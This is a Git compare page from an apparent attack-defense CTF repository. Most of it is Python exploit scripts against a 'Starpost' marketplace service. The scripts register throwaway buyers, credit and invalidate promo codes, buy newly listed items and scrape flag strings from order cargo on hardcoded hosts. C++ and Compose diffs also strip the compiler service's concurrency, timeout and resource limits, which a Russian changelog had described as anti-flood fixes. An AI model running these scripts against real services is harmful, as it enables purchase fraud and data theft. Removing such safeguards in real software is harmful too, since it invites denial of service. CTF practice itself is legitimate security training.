Compare commits
51
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
373d8b72c3 | ||
|
|
c250c88588 | ||
|
|
f5d6138630 | ||
|
|
9f46b00530 | ||
|
|
9182c96045 | ||
|
|
eb9d98e0a3 | ||
|
|
3a8c7dac2e | ||
|
|
c2611ca8a6 | ||
|
|
a71eb6b14c | ||
|
|
ac759c5ba5 | ||
|
|
2870f3e635 | ||
|
|
0a4439444e | ||
|
|
206f16cf05 | ||
|
|
fd4f3c8797 | ||
|
|
a8ab0e7f58 | ||
|
|
e562daacc5 | ||
|
|
74baf0bcc6 | ||
|
|
9c06a36a4b | ||
|
|
5d2407b076 | ||
|
|
29c864990a | ||
|
|
e112480339 | ||
|
|
f09895d65e | ||
|
|
98ad0ae2de | ||
|
|
e06fd3d9ed | ||
|
|
36c5a18577 | ||
|
|
b72544209c | ||
|
|
ecd6d55523 | ||
|
|
ef120ca5a5 | ||
|
|
7e96966188 | ||
|
|
dca8f2a827 | ||
|
|
5d0f36c7f4 | ||
|
|
9f25b29140 | ||
|
|
c2fc0cb8cf | ||
|
|
caf4a2430c | ||
|
|
2f5892d323 | ||
|
|
143182a27c | ||
|
|
76b5e01dac | ||
|
|
c378d7f3f6 | ||
|
|
7d59ae8efb | ||
|
|
8987f08ee1 | ||
|
|
21a8646fd9 | ||
|
|
9c2e3ee4e8 | ||
|
|
c05e277a03 | ||
|
|
f3b2cb9c22 | ||
|
|
69304f472e | ||
|
|
22c1906a67 | ||
|
|
6b506c0d54 | ||
|
|
4f70df55dd | ||
|
|
fd2a9af45c | ||
|
|
7ffb62529c | ||
|
|
278051af1c |
No files matched your search
@@ -48,8 +48,3 @@ __pycache__/
|
||||
venv/
|
||||
.idea/
|
||||
.vscode/
|
||||
|
||||
# Local worktrees and build artifacts
|
||||
.worktrees/
|
||||
.ruff_cache/
|
||||
**/target/
|
||||
Binary file not shown.
@@ -7,7 +7,6 @@
|
||||
- L-01: истёкшие записи удаляются ограниченными порциями, отдельный журнал ограничен 512 KiB. Создание множества очередей всё ещё может расходовать хранилище.
|
||||
- L-04: журнал закрыт для процесса компилятора правами 0700/0600. Локально `#include` и `.incbin` больше не читают его.
|
||||
- L-05: формат шифрования и индивидуальные `read_key` сохранены для совместимости со старыми данными.
|
||||
- L-06: одновременно работают не более двух компиляций; после исчерпания слотов допускается не более восьми ожидающих запросов и не более пятнадцати секунд ожидания, а лишние запросы получают `429`. Лимит выбран по наблюдаемой очереди: восемь работ при двух слотах и трёхсекундном пределе на compile/listing укладываются примерно в двенадцать секунд, тогда как checker ограничен тридцатью секундами. HTTP pool содержит 32-64 потока и ограниченную очередь 256, чтобы compiler flood не вытеснял health и обычные API-вызовы. Keep-alive и socket timeout уменьшены. `clang` и `llvm-objdump` запускаются с низким CPU priority. Compose ограничивает процесс двумя CPU, 1 GiB памяти и 256 PID и автоматически перезапускает контейнер.
|
||||
|
||||
На одноразовых синтетических Docker-томах прошли сборка и проверка 253 условий после рестарта, включая старые сообщения и фильтр. Пассивное наблюдение официального CHECK 25.10.2026 показало `POST /filter` без ключа и ответ `403` прежнего образа; совместимость публичного вызова восстановлена в `143182a`, который входит в основу этого кандидата. Игровой том локальным тестом не проверялся. Изменение чтения более 128 сообщений также требует проверки CHECK/PUT/GET.
|
||||
|
||||
|
||||
@@ -2,11 +2,7 @@ name: lighthouse
|
||||
|
||||
services:
|
||||
lighthouse:
|
||||
restart: unless-stopped
|
||||
build: .
|
||||
pids_limit: 256
|
||||
mem_limit: 1g
|
||||
cpus: 2.0
|
||||
ports:
|
||||
- "8085:8080"
|
||||
volumes:
|
||||
|
||||
@@ -23,19 +23,12 @@ class Slots {
|
||||
std::mutex lock_;
|
||||
std::condition_variable room_;
|
||||
int held_ = 0;
|
||||
int waiting_ = 0;
|
||||
int limit_;
|
||||
public:
|
||||
explicit Slots(int limit) : limit_(limit) {}
|
||||
void acquire() {
|
||||
std::unique_lock guard(lock_);
|
||||
if (held_ >= limit_) {
|
||||
if (waiting_ >= 8) throw Busy();
|
||||
++waiting_;
|
||||
bool available = room_.wait_for(guard, std::chrono::seconds(15), [&] { return held_ < limit_; });
|
||||
--waiting_;
|
||||
if (!available) throw Busy();
|
||||
}
|
||||
room_.wait(guard, [&] { return held_ < limit_; });
|
||||
++held_;
|
||||
}
|
||||
void release() {
|
||||
@@ -108,7 +101,7 @@ public:
|
||||
|
||||
bool cc() {
|
||||
int status = legacy::system({
|
||||
"/usr/bin/nice", "-n", "19", "/usr/bin/timeout", "-k", "1s", "2s", "/usr/bin/prlimit",
|
||||
"/usr/bin/timeout", "-k", "1s", "2s", "/usr/bin/prlimit",
|
||||
"--fsize=32768:32768", "--cpu=2:2", "--as=268435456:268435456",
|
||||
"/usr/bin/setpriv", "--reuid", "nobody", "--regid", "nogroup",
|
||||
"--clear-groups", "--no-new-privs", "--bounding-set", "-all",
|
||||
@@ -134,7 +127,7 @@ public:
|
||||
fs::copy_file(module_, artifact);
|
||||
result.path = artifact.string();
|
||||
int status = legacy::system({
|
||||
"/usr/bin/nice", "-n", "19", "/usr/bin/timeout", "-k", "1s", "1s", "/usr/bin/prlimit",
|
||||
"/usr/bin/timeout", "-k", "1s", "1s", "/usr/bin/prlimit",
|
||||
"--fsize=32768:32768", "--cpu=1:1", "--as=268435456:268435456",
|
||||
"/usr/bin/setpriv", "--reuid", "nobody", "--regid", "nogroup",
|
||||
"--clear-groups", "--no-new-privs", "--bounding-set", "-all",
|
||||
@@ -147,7 +140,7 @@ public:
|
||||
};
|
||||
|
||||
inline Artifact compile(const std::string& source) {
|
||||
static Slots slots(2);
|
||||
static Slots slots(4);
|
||||
Slot slot(slots);
|
||||
Build build(source);
|
||||
recipe::run(recipe::filter, build);
|
||||
|
||||
@@ -344,11 +344,6 @@ int main() {
|
||||
try {
|
||||
initialize();
|
||||
httplib::Server server;
|
||||
server.new_task_queue = [] { return new httplib::ThreadPool(32, 64, 256); };
|
||||
server.set_keep_alive_max_count(8);
|
||||
server.set_keep_alive_timeout(2);
|
||||
server.set_read_timeout(3, 0);
|
||||
server.set_write_timeout(3, 0);
|
||||
server.set_payload_max_length(32768);
|
||||
server.set_pre_routing_handler([](const httplib::Request& request, httplib::Response& response) {
|
||||
if (request.has_header("Range")) {
|
||||
|
||||
@@ -1,310 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import fcntl
|
||||
import hashlib
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import secrets
|
||||
import signal
|
||||
import sys
|
||||
import time
|
||||
from datetime import UTC, datetime
|
||||
from email.utils import parsedate_to_datetime
|
||||
from http.cookies import SimpleCookie
|
||||
from pathlib import Path
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
|
||||
|
||||
SERVICE_PORT = 8090
|
||||
RUN_TIMEOUT = 7.5
|
||||
REQUEST_TIMEOUT = 1.5
|
||||
MAX_RESPONSE = 512 * 1024
|
||||
MAX_PRICE = 200
|
||||
MAX_PRODUCT_AGE = 5.0
|
||||
MAX_CANDIDATES = 2
|
||||
MAX_ORDER_POLLS = 6
|
||||
POLL_INTERVAL = 0.25
|
||||
ACTIVE_SECOND_START = 18
|
||||
ACTIVE_SECOND_END = 40
|
||||
ACTIVE_HOSTS = {"10.80.2.2", "10.80.4.2", "10.80.5.2", "10.80.11.2", "10.80.12.2"}
|
||||
STATE_DIR = Path(os.environ.get("STARPOST_EARLY_BUY_STATE_DIR", "/tmp/starpost-early-buy"))
|
||||
FLAG_PATTERN = re.compile(r"(?<![A-Za-z0-9])[A-Z0-9]{31}=(?![A-Za-z0-9])")
|
||||
|
||||
|
||||
class NoRedirects(HTTPRedirectHandler):
|
||||
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||
return None
|
||||
|
||||
|
||||
OPENER = build_opener(ProxyHandler({}), NoRedirects())
|
||||
|
||||
|
||||
def build_target(raw_target: str) -> str:
|
||||
raw = raw_target.strip()
|
||||
if not raw:
|
||||
raise ValueError("empty target")
|
||||
if "://" not in raw:
|
||||
raw = f"http://{f'[{raw}]' if raw.count(':') > 1 and not raw.startswith('[') else raw}"
|
||||
parsed = urlsplit(raw)
|
||||
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||
raise ValueError("expected HTTP(S) target")
|
||||
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||
raise ValueError("target must contain only a host and optional port")
|
||||
if parsed.query or parsed.fragment:
|
||||
raise ValueError("target must not contain query or fragment")
|
||||
port = parsed.port or SERVICE_PORT
|
||||
if not 1 <= port <= 65535:
|
||||
raise ValueError("invalid target port")
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||
|
||||
|
||||
def request_json(
|
||||
target: str,
|
||||
path: str,
|
||||
deadline: float,
|
||||
*,
|
||||
method: str = "GET",
|
||||
payload: dict | None = None,
|
||||
cookie: str | None = None,
|
||||
) -> tuple[int, object, str | None]:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
raw_body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
|
||||
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-early-buy/1.0"}
|
||||
if raw_body is not None:
|
||||
headers["Content-Type"] = "application/json"
|
||||
if cookie:
|
||||
headers["Cookie"] = f"session={cookie}"
|
||||
request = Request(target + path, data=raw_body, headers=headers, method=method)
|
||||
try:
|
||||
response = OPENER.open(request, timeout=min(REQUEST_TIMEOUT, remaining))
|
||||
except HTTPError as exc:
|
||||
response = exc
|
||||
with response:
|
||||
raw = response.read(MAX_RESPONSE + 1)
|
||||
if len(raw) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
cookies = SimpleCookie()
|
||||
for header in response.headers.get_all("Set-Cookie", []):
|
||||
cookies.load(header)
|
||||
session_cookie = cookies["session"].value if "session" in cookies else None
|
||||
try:
|
||||
decoded = json.loads(raw)
|
||||
except (UnicodeDecodeError, json.JSONDecodeError):
|
||||
raise ValueError("invalid JSON response") from None
|
||||
return response.status, decoded, session_cookie
|
||||
|
||||
|
||||
def state_paths(target: str) -> tuple[Path, Path]:
|
||||
key = hashlib.sha256(target.encode()).hexdigest()[:20]
|
||||
return STATE_DIR / f"{key}.json", STATE_DIR / f"{key}.lock"
|
||||
|
||||
|
||||
def load_seen(path: Path) -> set[int]:
|
||||
try:
|
||||
data = json.loads(path.read_text())
|
||||
except (FileNotFoundError, OSError, ValueError, json.JSONDecodeError):
|
||||
return set()
|
||||
values = data.get("seen") if isinstance(data, dict) else None
|
||||
if not isinstance(values, list):
|
||||
return set()
|
||||
return {value for value in values if isinstance(value, int) and not isinstance(value, bool) and value > 0}
|
||||
|
||||
|
||||
def save_seen(path: Path, seen: set[int]) -> None:
|
||||
STATE_DIR.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||
temporary = path.with_suffix(".tmp")
|
||||
temporary.write_text(json.dumps({"seen": sorted(seen, reverse=True)[:256]}, separators=(",", ":")))
|
||||
os.chmod(temporary, 0o600)
|
||||
temporary.replace(path)
|
||||
|
||||
|
||||
def parse_time(value: object) -> datetime | None:
|
||||
if not isinstance(value, str):
|
||||
return None
|
||||
try:
|
||||
parsed = datetime.fromisoformat(value)
|
||||
except ValueError:
|
||||
try:
|
||||
parsed = parsedate_to_datetime(value)
|
||||
except (TypeError, ValueError):
|
||||
return None
|
||||
return parsed.astimezone(UTC) if parsed.tzinfo else None
|
||||
|
||||
|
||||
def fresh_products(products: object, seen: set[int]) -> tuple[list[tuple[int, int]], set[int]]:
|
||||
if not isinstance(products, list):
|
||||
raise TypeError("products response is not a list")
|
||||
now = datetime.now(UTC)
|
||||
catalog_ids: set[int] = set()
|
||||
fresh: list[tuple[datetime, int, int]] = []
|
||||
for product in products:
|
||||
if not isinstance(product, dict):
|
||||
continue
|
||||
product_id = product.get("id")
|
||||
price = product.get("price")
|
||||
created_at = parse_time(product.get("created_at"))
|
||||
if not isinstance(product_id, int) or isinstance(product_id, bool) or product_id <= 0:
|
||||
continue
|
||||
catalog_ids.add(product_id)
|
||||
if (
|
||||
product_id not in seen
|
||||
and isinstance(price, int)
|
||||
and not isinstance(price, bool)
|
||||
and 1 <= price <= MAX_PRICE
|
||||
and created_at is not None
|
||||
and -1.0 <= (now - created_at).total_seconds() <= MAX_PRODUCT_AGE
|
||||
):
|
||||
fresh.append((created_at, product_id, price))
|
||||
fresh.sort(reverse=True)
|
||||
return [(product_id, price) for _, product_id, price in fresh[:MAX_CANDIDATES]], catalog_ids
|
||||
|
||||
|
||||
def prepare_buyer(target: str, deadline: float) -> tuple[str, str]:
|
||||
marker = secrets.token_hex(8)
|
||||
status, _, cookie = request_json(
|
||||
target,
|
||||
"/api/register",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"username": f"early-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||
)
|
||||
if status != 201 or not cookie:
|
||||
raise ValueError(f"buyer registration returned HTTP {status}")
|
||||
status, account, _ = request_json(target, "/api/account", deadline, cookie=cookie)
|
||||
if status != 200 or not isinstance(account, dict):
|
||||
raise ValueError(f"account returned HTTP {status}")
|
||||
promo = account.get("promo")
|
||||
code = promo.get("code") if isinstance(promo, dict) else None
|
||||
if not isinstance(code, str):
|
||||
raise TypeError("buyer promo missing")
|
||||
status, _, _ = request_json(
|
||||
target,
|
||||
"/api/promo/credit",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": code},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200:
|
||||
raise ValueError(f"promo credit returned HTTP {status}")
|
||||
return cookie, code
|
||||
|
||||
|
||||
def buy_and_collect(target: str, product_id: int, cookie: str, promo_code: str, deadline: float) -> set[str]:
|
||||
status, order, _ = request_json(
|
||||
target,
|
||||
f"/api/products/{product_id}/buy",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status == 409 and isinstance(order, dict) and order.get("error") == "promo code must be invalidated":
|
||||
status, invalidation, _ = request_json(
|
||||
target,
|
||||
"/api/promo/invalidate",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": promo_code},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200 or not isinstance(invalidation, dict) or invalidation.get("invalidated") is not True:
|
||||
return set()
|
||||
status, order, _ = request_json(
|
||||
target,
|
||||
f"/api/products/{product_id}/buy",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 201 or not isinstance(order, dict) or not isinstance(order.get("id"), int):
|
||||
return set()
|
||||
order_id = order["id"]
|
||||
for poll in range(MAX_ORDER_POLLS):
|
||||
if poll:
|
||||
time.sleep(min(POLL_INTERVAL, max(0.0, deadline - time.monotonic())))
|
||||
status, orders, _ = request_json(target, "/api/orders", deadline, cookie=cookie)
|
||||
if status != 200 or not isinstance(orders, list):
|
||||
continue
|
||||
delivered = next(
|
||||
(
|
||||
item
|
||||
for item in orders
|
||||
if isinstance(item, dict)
|
||||
and item.get("id") == order_id
|
||||
and item.get("status") == "delivered"
|
||||
),
|
||||
None,
|
||||
)
|
||||
if delivered is not None:
|
||||
cargo = delivered.get("cargo")
|
||||
return set(FLAG_PATTERN.findall(cargo)) if isinstance(cargo, str) else set()
|
||||
return set()
|
||||
|
||||
|
||||
def run_exploit(raw_target: str) -> tuple[list[str], str]:
|
||||
current_second = datetime.now(UTC).second
|
||||
if not ACTIVE_SECOND_START <= current_second <= ACTIVE_SECOND_END:
|
||||
return [], "idle"
|
||||
target = build_target(raw_target)
|
||||
if urlsplit(target).hostname not in ACTIVE_HOSTS:
|
||||
return [], "inactive"
|
||||
deadline = time.monotonic() + RUN_TIMEOUT
|
||||
state_path, lock_path = state_paths(target)
|
||||
STATE_DIR.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||
with lock_path.open("a+") as lock:
|
||||
os.chmod(lock_path, 0o600)
|
||||
try:
|
||||
fcntl.flock(lock, fcntl.LOCK_EX | fcntl.LOCK_NB)
|
||||
except BlockingIOError:
|
||||
return [], "busy"
|
||||
seen = load_seen(state_path)
|
||||
status, products, _ = request_json(target, "/api/products", deadline)
|
||||
if status != 200:
|
||||
raise ValueError(f"products returned HTTP {status}")
|
||||
candidates, catalog_ids = fresh_products(products, seen)
|
||||
save_seen(state_path, seen | catalog_ids)
|
||||
if not candidates:
|
||||
return [], "waiting"
|
||||
flags: set[str] = set()
|
||||
for product_id, _ in candidates:
|
||||
cookie, promo_code = prepare_buyer(target, deadline)
|
||||
flags.update(buy_and_collect(target, product_id, cookie, promo_code, deadline))
|
||||
if time.monotonic() >= deadline:
|
||||
break
|
||||
return sorted(flags), f"products={len(candidates)}"
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||
return 2
|
||||
|
||||
def hard_timeout(_signum, _frame):
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
|
||||
signal.signal(signal.SIGALRM, hard_timeout)
|
||||
signal.setitimer(signal.ITIMER_REAL, RUN_TIMEOUT + 0.25)
|
||||
try:
|
||||
flags, result = run_exploit(sys.argv[1])
|
||||
except (HTTPError, URLError, OSError, TimeoutError, TypeError, ValueError, json.JSONDecodeError) as exc:
|
||||
print(f"request failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
finally:
|
||||
signal.setitimer(signal.ITIMER_REAL, 0)
|
||||
for flag in flags:
|
||||
print(flag, flush=True)
|
||||
print(result, file=sys.stderr)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
+61
-112
@@ -19,8 +19,6 @@ from datetime import datetime, timedelta, timezone
|
||||
from email.utils import parsedate_to_datetime
|
||||
from http.cookies import SimpleCookie
|
||||
from ipaddress import ip_address
|
||||
from queue import Empty, Queue
|
||||
from threading import Thread
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
|
||||
@@ -59,34 +57,6 @@ class NoRedirects(HTTPRedirectHandler):
|
||||
OPENER = build_opener(ProxyHandler({}), NoRedirects())
|
||||
|
||||
|
||||
def start_task(function, *args) -> Queue:
|
||||
result = Queue(maxsize=1)
|
||||
|
||||
def run():
|
||||
try:
|
||||
result.put((True, function(*args)))
|
||||
except Exception as exc:
|
||||
result.put((False, exc))
|
||||
|
||||
Thread(target=run, daemon=True).start()
|
||||
return result
|
||||
|
||||
|
||||
def task_result(result: Queue, deadline: float, wait_limit: float | None = None):
|
||||
remaining = deadline - time.monotonic()
|
||||
if wait_limit is not None:
|
||||
remaining = min(remaining, wait_limit)
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
try:
|
||||
ok, value = result.get(timeout=remaining)
|
||||
except Empty:
|
||||
raise TimeoutError("parallel request timed out") from None
|
||||
if not ok:
|
||||
raise value
|
||||
return value
|
||||
|
||||
|
||||
def build_target(target: str) -> str:
|
||||
raw = target.strip()
|
||||
if not raw:
|
||||
@@ -184,75 +154,6 @@ def fetch_attack_hints(target_host: str, deadline: float) -> set[int] | None:
|
||||
return None
|
||||
|
||||
|
||||
def prepare_buyer(target: str, deadline: float) -> tuple[str, int, str]:
|
||||
marker = secrets.token_hex(8)
|
||||
status, _, cookie = request_json(
|
||||
target,
|
||||
"/api/register",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"username": f"market-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||
)
|
||||
if status != 201 or not cookie:
|
||||
raise ValueError(f"buyer registration returned HTTP {status}")
|
||||
|
||||
status, account, _ = request_json(target, "/api/account", deadline, cookie=cookie)
|
||||
if status != 200 or not isinstance(account, dict):
|
||||
raise ValueError(f"account returned HTTP {status}")
|
||||
promo = account.get("promo")
|
||||
user = account.get("user")
|
||||
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
||||
raise ValueError("buyer promo missing")
|
||||
if not isinstance(user, dict) or not isinstance(user.get("balance"), int):
|
||||
raise ValueError("buyer balance missing")
|
||||
|
||||
status, credit, _ = request_json(
|
||||
target,
|
||||
"/api/promo/credit",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": promo["code"]},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200 or not isinstance(credit, dict):
|
||||
raise ValueError(f"promo credit returned HTTP {status}")
|
||||
credited = credit.get("credited")
|
||||
if not isinstance(credited, int) or isinstance(credited, bool) or credited < 0:
|
||||
raise ValueError("invalid credited amount")
|
||||
return cookie, user["balance"] + credited, promo["code"]
|
||||
|
||||
|
||||
def buy_product(target: str, product_id: int, cookie: str, promo_code: str, deadline: float) -> tuple[int, object]:
|
||||
status, order, _ = request_json(
|
||||
target,
|
||||
f"/api/products/{product_id}/buy",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status == 409 and isinstance(order, dict) and order.get("error") == "promo code must be invalidated":
|
||||
status, invalidation, _ = request_json(
|
||||
target,
|
||||
"/api/promo/invalidate",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": promo_code},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200 or not isinstance(invalidation, dict) or invalidation.get("invalidated") is not True:
|
||||
return status, invalidation
|
||||
status, order, _ = request_json(
|
||||
target,
|
||||
f"/api/products/{product_id}/buy",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={},
|
||||
cookie=cookie,
|
||||
)
|
||||
return status, order
|
||||
|
||||
|
||||
def parse_created_at(raw: object) -> datetime | None:
|
||||
if not isinstance(raw, str):
|
||||
return None
|
||||
@@ -318,17 +219,11 @@ def candidates(products: object, now: datetime | None = None, hint_ids: set[int]
|
||||
def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
||||
target = build_target(raw_target)
|
||||
deadline = time.monotonic() + RUN_TIMEOUT
|
||||
buyer_task = start_task(prepare_buyer, target, deadline)
|
||||
products_task = start_task(request_json, target, "/api/products", deadline)
|
||||
hints_task = start_task(fetch_attack_hints, urlsplit(target).hostname or "", deadline)
|
||||
cookie, budget, promo_code = task_result(buyer_task, deadline)
|
||||
status, products, _ = task_result(products_task, deadline)
|
||||
|
||||
status, products, _ = request_json(target, "/api/products", deadline)
|
||||
if status != 200:
|
||||
raise ValueError(f"catalog returned HTTP {status}")
|
||||
try:
|
||||
hint_ids = task_result(hints_task, deadline, 0.1)
|
||||
except TimeoutError:
|
||||
hint_ids = None
|
||||
hint_ids = fetch_attack_hints(urlsplit(target).hostname or "", deadline)
|
||||
available = candidates(products, hint_ids=hint_ids)
|
||||
if not available:
|
||||
return [], 0, 0
|
||||
@@ -336,12 +231,68 @@ def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
||||
flags: set[str] = set()
|
||||
bought_count = 0
|
||||
polls = 0
|
||||
for candidate_index, (product_id, price) in enumerate(available):
|
||||
for product_id, price in available:
|
||||
if time.monotonic() >= deadline:
|
||||
break
|
||||
marker = secrets.token_hex(8)
|
||||
status, _, cookie = request_json(
|
||||
target,
|
||||
"/api/register",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"username": f"market-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||
)
|
||||
if status != 201 or not cookie:
|
||||
raise ValueError(f"buyer registration returned HTTP {status}")
|
||||
|
||||
status, account, _ = request_json(target, "/api/account", deadline, cookie=cookie)
|
||||
if status != 200 or not isinstance(account, dict):
|
||||
raise ValueError(f"account returned HTTP {status}")
|
||||
promo = account.get("promo")
|
||||
user = account.get("user")
|
||||
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
||||
raise ValueError("buyer promo missing")
|
||||
if not isinstance(user, dict) or not isinstance(user.get("balance"), int):
|
||||
raise ValueError("buyer balance missing")
|
||||
budget = user["balance"]
|
||||
|
||||
status, credit, _ = request_json(
|
||||
target,
|
||||
"/api/promo/credit",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": promo["code"]},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200 or not isinstance(credit, dict):
|
||||
raise ValueError(f"promo credit returned HTTP {status}")
|
||||
credited = credit.get("credited")
|
||||
if not isinstance(credited, int) or isinstance(credited, bool) or credited < 0:
|
||||
raise ValueError("invalid credited amount")
|
||||
budget += credited
|
||||
|
||||
# Current Starpost checker uses credit -> invalidate -> purchase.
|
||||
# Buying while a promo_codes row still exists now returns HTTP 409.
|
||||
status, invalidation, _ = request_json(
|
||||
target,
|
||||
"/api/promo/invalidate",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": promo["code"]},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200 or not isinstance(invalidation, dict) or invalidation.get("invalidated") is not True:
|
||||
raise ValueError(f"promo invalidation returned HTTP {status}")
|
||||
if price > budget:
|
||||
continue
|
||||
status, order = buy_product(target, product_id, cookie, promo_code, deadline)
|
||||
status, order, _ = request_json(
|
||||
target,
|
||||
f"/api/products/{product_id}/buy",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 201 or not isinstance(order, dict):
|
||||
continue
|
||||
order_id = order.get("id")
|
||||
@@ -367,8 +318,6 @@ def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
||||
break
|
||||
if flags:
|
||||
break
|
||||
if candidate_index + 1 < len(available):
|
||||
cookie, budget, promo_code = prepare_buyer(target, deadline)
|
||||
return sorted(flags), bought_count, polls
|
||||
|
||||
|
||||
|
||||
@@ -1,330 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import fcntl
|
||||
import hashlib
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import secrets
|
||||
import signal
|
||||
import statistics
|
||||
import sys
|
||||
import time
|
||||
from http.cookies import SimpleCookie
|
||||
from pathlib import Path
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
|
||||
|
||||
|
||||
SERVICE_PORT = 8090
|
||||
RUN_TIMEOUT = 1.35
|
||||
REQUEST_TIMEOUT = 0.45
|
||||
MAX_RESPONSE = 512 * 1024
|
||||
PREBUY_INTERVAL = 0.15
|
||||
MAX_SEQUENCE_GAP = 4
|
||||
STATE_VERSION = 2
|
||||
FLAG_PATTERN = re.compile(r"(?<![A-Z0-9])[A-Z0-9]{31}=(?![A-Z0-9])")
|
||||
STATE_DIR = Path(os.environ.get("STARPOST_PREBUY_STATE_DIR", "/tmp/starpost-prebuy"))
|
||||
|
||||
|
||||
class NoRedirects(HTTPRedirectHandler):
|
||||
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||
return None
|
||||
|
||||
|
||||
OPENER = build_opener(ProxyHandler({}), NoRedirects())
|
||||
|
||||
|
||||
def build_target(raw_target: str) -> str:
|
||||
raw = raw_target.strip()
|
||||
if not raw:
|
||||
raise ValueError("empty target")
|
||||
if "://" not in raw:
|
||||
raw = f"http://{f'[{raw}]' if raw.count(':') > 1 and not raw.startswith('[') else raw}"
|
||||
parsed = urlsplit(raw)
|
||||
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||
raise ValueError("expected HTTP(S) target")
|
||||
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||
raise ValueError("target must contain only a host and optional port")
|
||||
if parsed.query or parsed.fragment:
|
||||
raise ValueError("target must not contain query or fragment")
|
||||
port = parsed.port or SERVICE_PORT
|
||||
if not 1 <= port <= 65535:
|
||||
raise ValueError("invalid target port")
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||
|
||||
|
||||
def request_json(
|
||||
target: str,
|
||||
path: str,
|
||||
deadline: float,
|
||||
*,
|
||||
method: str = "GET",
|
||||
payload: dict | None = None,
|
||||
cookie: str | None = None,
|
||||
) -> tuple[int, object, str | None]:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
|
||||
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-prebuy/1.0"}
|
||||
if body is not None:
|
||||
headers["Content-Type"] = "application/json"
|
||||
if cookie:
|
||||
headers["Cookie"] = f"session={cookie}"
|
||||
request = Request(target + path, data=body, headers=headers, method=method)
|
||||
try:
|
||||
response = OPENER.open(request, timeout=min(REQUEST_TIMEOUT, remaining))
|
||||
except HTTPError as exc:
|
||||
response = exc
|
||||
with response:
|
||||
raw = response.read(MAX_RESPONSE + 1)
|
||||
if len(raw) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
jar = SimpleCookie()
|
||||
for header in response.headers.get_all("Set-Cookie", []):
|
||||
jar.load(header)
|
||||
session_cookie = jar["session"].value if "session" in jar else None
|
||||
try:
|
||||
decoded = json.loads(raw)
|
||||
except (UnicodeDecodeError, json.JSONDecodeError):
|
||||
raise ValueError("invalid JSON response") from None
|
||||
return response.status, decoded, session_cookie
|
||||
|
||||
|
||||
